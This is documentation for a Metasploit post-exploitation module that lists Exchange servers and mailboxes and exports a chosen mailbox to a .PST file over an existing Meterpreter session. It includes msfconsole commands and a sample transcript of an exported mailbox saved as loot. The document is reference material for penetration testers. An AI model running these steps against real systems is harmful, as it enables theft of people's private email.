Exchange

Vulnerable Application

This module will gather information from an on-premise Exchange Server running on the target machine.

Two actions are supported:

LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.

EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.

It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.

Verification Steps

1. Start msfconsole
2. Get meterpreter session on a Windows target running an Exchange Server
3. Do: use post/windows/gather/exchange
4. Do: set SESSION <session id>
5. Do: run

Options

FILTER

Filter to use when exporting a mailbox.

See Microsoft documentation for valid values.

Unused for LIST action, optional for EXPORT action.

MAILBOX

Mailbox to export. Can be a mailbox's email address or display name.

Unused for LIST action, required for EXPORT action.

DownloadSizeThreshold

The file size of export results after which a prompt will appear to confirm the download, in MB.

Option takes a float number. Default value is 50.0.

SkipLargeDownloads

If set to true, automatically skip downloading export results that are larger than DownloadSizeThreshold (don't show prompt).

Set to false by default.

Extracted data

LIST action

For every server:

• Server name
• Server version
• Server role
• For every mailbox in server:
  • Mailbox display name
  • Mailbox email addresses
  • Mailbox creation date
  • Mailbox address list membership
  • For every folder in mailbox:
    • Folder Path
    • Items in folder
    • Folder size
    • Newest item received date

EXPORT action

.PST file with the chosen mailbox's mail items

Scenarios

Windows Server 2012 R2 with On-Premise Exchange Server 2010

msf exploit(multi/handler) > use post/windows/gather/exchange
msf post(windows/gather/exchange) > set SESSION 1
SESSION => 1
msf post(windows/gather/exchange) > run -a LIST

[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Listing reachable servers and mailboxes:
----------
Server:
- Name: WIN-49S7K9MJUAF
- Version: Version 14.3 (Build 123.4)
- Role: Mailbox, ClientAccess, HubTransport
-----
Mailboxes:
---
- Display Name: Administrator
- Email Addresses: SMTP:[email protected]
- Creation date: 12/02/2020 01:01:43
- Address list membership: \Mailboxes(VLV) \All Mailboxes(VLV) \All Recipients(VLV) \Default Global Address List \All Users
- (All folders are empty)
---

[...]

[*] Post module execution completed
msf post(windows/gather/exchange) > set MAILBOX "Administrator"
MAILBOX => Administrator
msf post(windows/gather/exchange) > run -a EXPORT

[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Exporting mailbox 'Administrator':
Exporting mailbox...
. Queued
. Queued
. Queued
. InProgress
. Completed
Exporting done
[*] Resulting export file size: 0.26 MB
[+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst
[*] Post module execution completed
msf post(windows/gather/exchange) >